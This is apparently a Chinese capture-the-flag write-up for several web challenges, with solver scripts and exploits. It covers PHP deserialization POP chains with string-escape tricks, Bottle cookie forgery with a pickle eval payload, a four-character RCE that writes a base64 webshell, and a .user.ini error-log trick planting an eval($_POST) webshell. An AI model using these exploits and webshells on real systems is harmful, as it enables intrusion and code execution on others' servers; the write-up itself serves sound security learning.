本文最后更新于 2026年2月10日 晚上
够了够了,谢谢大家
一开始是手搓的,复现的时候补了一下脚本
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
url = "http://175.27.251.122:34925/"
for i in range(1, 101): s = requests.Session() s.post(f"{url}/register.php", data={'username': f"user{i}",'password': "123"}) s.post(f"{url}/login.php", data={'username': f"user{i}",'password': "123"}) s.post(f"{url}/weechatt.php", data={'like': ''}) print(f"[*]第{i}次点赞成功")
|

让人变幸运的魔法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php highlight_file(__FILE__); error_reporting(0);
function magic($param) {
$unlucky_list = ['unlucky', 'bad', 'jinx', 'unfortunate']; foreach ($unlucky_list as $unlucky) { $param = str_replace($unlucky, 'lucky', $param); } return $param; }
class Frieren{ public $spell; public $target = 'Nobody';
public function __construct($spell){ $this -> spell = $spell; }
public function __wakeup(){ if ($this -> target !== 'Nobody'){ echo "成功让".$this -> target."变得幸运!"; } } }
class Himmel{ public $sword = "Himmel's sword"; public $action; public function __toString(){ if ($this -> action === 'try' && $this -> sword !== "Sword of the Hero"){ echo "'这次的勇者也不是真正的勇者啊...'".PHP_EOL; echo "'假勇者又有何妨,我会消灭魔王,让世界恢复和平。'".PHP_EOL; $func = $this -> sword; $func(); }else{ return "真正的勇者?"; } } }
class Fern{ public $book;
public function __invoke(){ $this -> book -> abliity; } }
class Stark{ private $ability; public function __get($name){ eval($this -> ability); } }
$spell = $_POST['spell']; if (isset($spell)){ $data = serialize(new Frieren($spell)); $magic_data = magic($data); unserialize($magic_data); }
|
先分析一下链子
1
| Frieren -> Himmel -> Fern -> Stark
|
这里我们发现它在下面已经帮我们构建了Frieren,但$target并不是我们想要的,所以要利用上面的魔法进行字符串逃逸
1
| O:7:"Frieren":2:{s:5:"spell";s:4:"test";s:6:"target";s:6:"Nobody";}
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class Stark { private $ability = "system('cat /flag');"; }
class Fern { public $book; }
class Himmel { public $sword; public $action = 'try'; }
class Frieren { public $spell; public $target; }
$s = new Stark(); $fe = new Fern(); $fe->book = $s; $h = new Himmel(); $h->sword = $fe;
$f = new Frieren(""); $f->target = $h;
$tail = serialize($f);
echo "希望:".$tail."\n"; $injection = '";s:6:"target";' . serialize($h) . '}'; echo "注入代码长度: " . strlen($injection) . "\n"; echo "url: " . urlencode($injection) . "\n";
|
bad会被替换为lucky,每有一个bad就会逃出2个字符,payload长度是160,所以要在前面加80个bad

pttole
审计代码发现:
- bottle框架
- config.py里面有secret和用户密码
- dashboard.py里面解析cookie可能存在pickle反序列化
先伪造一个用户试试
1 2 3 4 5 6 7 8
| import bottle
SECRET = "h3ckTheworld123" SESSION_DATA = ("name", {"name": "admin"})
encoded_value = bottle.cookie_encode(SESSION_DATA, SECRET)
print(encoded_value.decode())
|
成功!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import bottle
SECRET = "h3ckTheworld123" COOKIE_NAME = "name"
class Exploit: def __reduce__(self): code = "int(open('/flag').read())" return (eval, (code,))
payload = (COOKIE_NAME, Exploit()) encoded_value = bottle.cookie_encode(payload, SECRET)
print(encoded_value.decode())
|

ez_uns
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php highlight_file(__FILE__); class Acc1oFl4g { public $shql; public $tou; public function exec() { if (strpos($this->tou, 'S:') === false) { $gxn = serialize(unserialize($this->tou)); $gxngxngxn = unserialize($gxn); if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) { include($gxngxngxn->act()); } } else { throw new Exception("不会本地调试怕是写不出来了"); } } public function __destruct() { if ($this->shql == "admin") { $this->exec(); } } }
class Amoda { protected $q1; protected $q2;
public function act() { if (!is_string($this->q1) || !is_string($this->q2)) { throw new Exception("不会本地调试怕是写不出来了"); } $result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2; if (strpos($result, 'convert') !== false) { throw new Exception("不会本地调试怕是写不出来了"); } return $result;
} }
$web = $_POST["webweb"]; if (stripos($web, 'admin') !== false && stripos($web, 'Amoda":') == false) {
exit ("不会本地调试怕是写不出来了"); }
$webb = unserialize($web); throw new Exception("不会本地调试怕是写不出来了");
|
这个题逻辑还是比较清晰的,主要就是几个WAF的绕过
1 2 3 4 5 6
| if (strpos($this->tou, 'S:') === false) { $gxn = serialize(unserialize($this->tou)); $gxngxngxn = unserialize($gxn); if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) { include($gxngxngxn->act()); }
|
首先就是这里,反序列化再序列化最后内容要不一样,开头就把S:给禁了,编码绕过肯定不行,一开始想用+绕过,调试了一下不行,那就直接在序列化后的内容后面加两个空格
1 2 3 4 5 6 7 8
| if (!is_string($this->q1) || !is_string($this->q2)) { throw new Exception("不会本地调试怕是写不出来了"); } $result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2; if (strpos($result, 'convert') !== false) { throw new Exception("不会本地调试怕是写不出来了"); } return $result;
|
命令执行这里在q1、q2中间加了讨厌的中文,还把filter链的convert给ban了
考虑到最后是执行include命令,那就构建一条相对路径 /不会本地调试怕是写不出来了/../flag
最后有一个异常抛出,要用gc回收机制绕过,让__destruct提前触发
这里需要注意在php里面完成url编码,因为protected变量序列化后会带有不可见字符
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class Acc1oFl4g { public $shql = "admin"; public $tou; }
class Amoda { protected $q1 = "/"; protected $q2 = "/../flag"; }
$amo = new Amoda(); $ser_amo = serialize($amo);
$ser_amo .=" ";
$acc = new Acc1oFl4g(); $acc->tou = $ser_amo;
$b=array('a'=>$acc,'b'=>null);
$payload = serialize($b); $payload = str_replace('b', 'a', $payload);
echo urlencode($payload);
|

失语
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php session_start(); highlight_file(__FILE__);
if(!isset($_SESSION['sandbox'])){ $_SESSION['sandbox'] = bin2hex(random_bytes(8)); }
$sandbox = $_SESSION['sandbox'];
if(!is_dir($sandbox)){ mkdir($sandbox); }
chdir($sandbox);
echo "Sandbox: ".getcwd();
if(isset($_REQUEST['Mutsumi']) && strlen($_REQUEST['Mutsumi']) <= 4){ exec($_REQUEST['Mutsumi']); } ?>
|
经典的4字符RCE
这里参考了一下 RCE总结
主要就是利用Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数的特性拼接命令,写入木马
1
| echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>a.php
|
这里需要注意的是,本题开启了沙箱,所以使用python脚本必须保证在一个session会话里面,或者直接使用bp的爆破工具
这里我选择了后者,稍微修改了一下payload,注意更改bp的资源池最大并发请求数为1才会按照顺序请求


Acc’s Blog
审计代码发现
在publish.php里面留了后门,但是进行了严格的过滤
抓包了一下发现是nginx,所以只能用.user.ini
根据提示,利用.user.ini时区配置报错写入木马
1 2 3 4
| log_errors = 1 display_errors = 0 error_log = ./shell.php date.timezone = "<?php @eval($_POST['pass']);?>"
|
这样传上去并访问shell.php发现并不能解析php代码,猜测是进行了HTML转义,所以要在配置里面禁止一下
1 2 3 4
| log_errors = On html_errors = Off error_log = ./shell.php date.timezone = "<?php @eval($_POST['pass']);?>"
|
